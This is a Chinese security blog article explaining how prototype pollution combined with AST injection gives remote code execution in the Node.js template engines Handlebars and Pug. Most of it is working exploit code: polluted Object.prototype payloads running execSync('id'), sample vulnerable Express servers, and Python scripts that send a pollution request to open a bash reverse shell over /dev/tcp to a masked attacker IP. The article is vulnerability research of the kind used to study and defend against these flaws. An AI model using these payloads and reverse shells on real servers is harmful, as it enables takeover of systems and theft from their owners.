AST注入,从原型污染到RCE

admin 2022年4月15日09:51:18评论55 views字数 9521阅读31分44秒阅读模式

AST注入,从原型污染到RCE

本文介绍如何使用一种称为 AST 注入的新技术在两个著名的模板引擎中RCE 。

AST 注入

什么是AST

[AST] https://en.wikipedia.org/wiki/Abstract_syntax_tree Abstract_syntax_tree


NodeJS中的AST

AST注入,从原型污染到RCE

在NodeJS中,AST经常被在JS中使用,作为template engines (引擎模版)和typescript等。对于引擎模版,结构如上图所示⬆️。

AST注入,从原型污染到RCE

如果在JS应用中存在原型污染漏洞,任何 AST 都可以通过在Parser(解析器)Compiler(编译器)过程中插入到函数中。


在这里,你可以在没有过滤、没有经过lexer(分析器)parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。

然后我们可以向Parser(编译器)非预期的输入。


下面就是展示如何实际中在handlebarspug使用AST注入执行任意命令

Handlebars

handlebars是除 ejs 之外最常用的template engine(模板引擎)

在较新的版本中是较为安全的,即使可以插入任何模板,也无法执行任何命令。

如何探测

const Handlebars = require('handlebars');

const source = `Hello {{ msg }}`;const template = Handlebars.compile(source);
console.log(template({"msg": "NEURON"})); // Hello NEURON

在开始之前,这是如何在handlebars使用模板的方法。

Handlebar.compile 函数将字符串转换为模板函数并传递对象因子以供调用。

const Handlebars = require('handlebars');
Object.prototype.pendingContent = `<script>alert(origin)</script>`
const source = `Hello {{ msg }}`;const template = Handlebars.compile(source);
console.log(template({"msg": "NEURON"})); // <script>alert(origin)</script>Hello NEURON

在这里,我们可以使用原型污染来影响编译过程。

你可以插入任意字符串payloadObject.prototype.pendingContent中决定你想要的攻击。

当原型污染存在于黑盒环境中时,这使你可以确认服务器正在使用handlebars引擎。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
...appendContent: function appendContent(content) { if (this.pendingContent) { content = this.pendingContent + content; } else { this.pendingLocation = this.source.currentLocation; }
this.pendingContent = content;},pushSource: function pushSource(source) { if (this.pendingContent) { this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation)); this.pendingContent = undefined; }
if (source) { this.source.push(source); }}...


这是由javascript-compiler.jsappendContent函数完成。如果存在 pendingContent,则附加到内容并返回。

pushSource使 pendingContent的值为 undefined,防止字符串被多次插入。

Exploit

AST注入,从原型污染到RCE

handlebars的工作原理如上图所示。

在经过lexer(分析器)parser(解析器)生成AST之后,它传递给 compiler.js 这样我们就可以运行带有一些参数的模板函数编译器(template function compiler generated)。

它就会返回像“Hello posix”这样的字符串(当 msg 是 posix 时)。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
case 36: this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) }; break;

handlebars 中的parser(解析器)通过Number构造函数强制类型为 NumberLiteral的节点的值始终为数字。

然而,在这里你可以使用原型污染去插入一个非数字型的字符串。

<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
function parseWithoutProcessing(input, options) { // Just return if an already-compiled AST was passed in. if (input.type === 'Program') { return input; }
_parser2['default'].yy = yy;
// Altering the shared object here, but this is ok as parser is a sync operation yy.locInfo = function (locInfo) { return new yy.SourceLocation(options && options.srcName, locInfo); };
var ast = _parser2['default'].parse(input);
return ast;}
function parse(input, options) { var ast = parseWithoutProcessing(input, options); var strip = new _whitespaceControl2['default'](options);
return strip.accept(ast);}


首先来看编译函数,它支持两种输入方式,AST 对象模板字符串

input.typeProgram时,虽然输入值实际上是字符串。Parser 认为它是已经被parser.js 解析过的AST了,然后将其发送给而compiler不做任何处理。


<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
...accept: function accept(node) { /* istanbul ignore next: Sanity code */ if (!this[node.type]) { throw new _exception2['default']('Unknown type: ' + node.type, node); }
this.sourceNode.unshift(node); var ret = this[node.type](node); this.sourceNode.shift(); return ret;},Program: function Program(program) { console.log((new Error).stack) this.options.blockParams.unshift(program.blockParams);
var body = program.body, bodyLength = body.length; for (var i = 0; i < bodyLength; i++) { this.accept(body[i]); }
this.options.blockParams.shift();
this.isSimple = bodyLength === 1; this.blockParams = program.blockParams ? program.blockParams.length : 0;
return this;}...



compiler接收到 AST 对象(AST Object)(实际上是一个字符串)并将其传到 accept方法。

accept方法调用Compilerthis[node.type]

然后获取 ASTbody 属性并将其用于构造函数。

const Handlebars = require('handlebars');
Object.prototype.type = 'Program';Object.prototype.body = [{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral", "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())" }], "loc": { "start": 0, "end": 0 }}];

const source = `Hello {{ msg }}`;const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());
/*function (container, depth0, helpers, partials, data) { var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) { if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { return parent[propertyName]; } return undefined };
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), { "name": "undefined", "hash": {}, "data": data, "loc": { "start": 0, "end": 0 } })) != null ? stack1 : "");}*/


所以,你可以构造一个像这样的攻击。

如果您已经通过parser,请指定一个无法分配给 NumberLiteral 值的字符串。

但是注入 AST 之后,我们可以将任何代码插入到函数中。

Example

const express = require('express');const { unflatten } = require('flat');const bodyParser = require('body-parser');const Handlebars  = require('handlebars'); const app = express();app.use(bodyParser.json())
app.get('/', function (req, res) { var source = "<h1>It works!</h1>"; var template = Handlebars.compile(source); res.end(template({}));});
app.post('/vulnerable', function (req, res) { let object = unflatten(req.body); res.json(object);}); app.listen(3000);

使用具有原型污染漏洞flat模块配置一个有漏洞的服务器示例。

AST注入,从原型污染到RCE

flat是一个受欢迎的模块,每周有 461 万次下载

import requests
TARGET_URL = 'http://xxx.com:3000'
# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = { "__proto__.type": "Program", "__proto__.body": [{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral",            "value""process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xx/3333 0>&1'`)" }], "loc": { "start": 0, "end": 0 } }]})
# executerequests.get(TARGET_URL)



反弹shell:

AST注入,从原型污染到RCE

在获取反弹的shell之后,我们可以执行任意系统命令!

pug


pug是一个先前以jade名称开发并重命名的模块。据统计,它是 nodejs中第四大最受欢迎的模板引擎

如何探测

const pug = require('pug');
const source = `h1= msg`;
var fn = pug.compile(source);var html = fn({msg: 'It works'});
console.log(html); // <h1>It works</h1>



pug中使用模板的常见方法如上所示。

pug.compile 函数将字符串转换为模板函数并传递对象以供调用。

const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>


这是一种利用原型污染在黑盒环境下探测使用pug模板引擎的方法。

当你将 AST 插入Object.prototype.block时,compiler(编译器)通过引用 val 将其添加到缓冲区中。

switch (ast.type) {    case 'NamedBlock':    case 'Block':        ast.nodes = walkAndMergeNodes(ast.nodes);        break;    case 'Case':    case 'Filter':    case 'Mixin':    case 'Tag':    case 'InterpolatedTag':    case 'When':    case 'Code':    case 'While':        if (ast.block) {        ast.block = walkAST(ast.block, before, after, options);        }        break;    ...


ast.typeWhile时,ast.block调用walkASK(如果值不存在,则引用prototype) 如果模板引用参数中的任何值,则While 节点始终存在,因此可靠性被认为是相当高的。

事实上,如果开发人员不会从模板中的参数中引用任何值 。

因为他们一开始并不会使用任何模板引擎。

Exploit

AST注入,从原型污染到RCE

pug工作原理如上图所示。

handlebars不同的是,每个过程都被分成一个单独的模块。

pug-parser 生成的 AST被传递给 pug-code-gen并制成一个函数。最后,它将被执行。

<!-- /node_modules/pug-code-gen/index.js -->
if (debug && node.debug !== false && node.type !== 'Block') { if (node.line) { var js = ';pug_debug_line = ' + node.line; if (node.filename) js += ';pug_debug_filename = ' + stringify(node.filename); this.buf.push(js + ';'); }}


pug 的compiler(编译器)中,有一个变量存放着名为 pug_debug_line的行号,用于调试。

如果 node.line 值存在,则将其添加到缓冲区,否则传递。

对于使用 pug-parser 生成的 ASTnode.line 值始终指定为整数。

但是,我们可以通过 AST注入node.line 中插入一个非整型的字符串并导致任意代码执行。

const pug = require('pug');
Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};
const source = `h1= msg`;
var fn = pug.compile(source, {});console.log(fn.toString());
/*function template(locals) { var pug_html = "", pug_mixins = {}, pug_interp; var pug_debug_filename, pug_debug_line; try {; var locals_for_with = (locals || {});
(function (console, msg, process) {; pug_debug_line = 1; pug_html = pug_html + "u003Ch1u003E";; pug_debug_line = 1; pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));; pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString()); pug_html = pug_html + "ndefineu003Cu002Fh1u003E"; }.call(this, "console" in locals_for_with ? locals_for_with.console : typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ? locals_for_with.msg : typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ? locals_for_with.process : typeof process !== 'undefined' ? process : undefined));; } catch (err) { pug.rethrow(err, pug_debug_filename, pug_debug_line); }; return pug_html;}*/

生成函数的示例。

你可以看到 Object.prototype.line值插入在 pug_debug_line 定义的右侧。

const pug = require('pug');
Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};
const source = `h1= msg`;
var fn = pug.compile(source);var html = fn({msg: 'It works'});
console.log(html); // "uid=0(root) gid=0(root) groups=0(root)nn<h1>It worksndefine</h1>"


所以,你可以构造一个像这样的攻击。

通过在 node.line值中指定一个字符串,它总是通过解析器定义为数字。

所以,任何命令都可以插入到函数中。

Example

const express = require('express');const { unflatten } = require('flat');const pug = require('pug');
const app = express();app.use(require('body-parser').json())
app.get('/', function (req, res) { const template = pug.compile(`h1= msg`); res.end(template({msg: 'It works'}));});
app.post('/vulnerable', function (req, res) { let object = unflatten(req.body); res.json(object);}); app.listen(3000);


handlebars的例子中,flat 用于配置服务器。模板引擎已改为 pug

import requests
TARGET_URL = 'http://xxx.com:3000'
# make pollutionrequests.post(TARGET_URL + '/vulnerable', json = { "__proto__.block": { "type": "Text",         "line""process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xx/3333 0>&1'`)" }})
# executerequests.get(TARGET_URL)

AST注入,从原型污染到RCE

我们可以在 block.line中插入任何代码,并获得一个shell。

结论

我描述了如何通过JS 模板引擎上的AST 注入去执行任意命令, 但事实上这些部份是很难完全修复的。


AST注入,从原型污染到RCE


本文始发于微信公众号(山石网科安全技术研究院):AST注入,从原型污染到RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月15日09:51:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AST注入,从原型污染到RCEhttp://cn-sec.com/archives/536509.html

发表评论

匿名网友 填写信息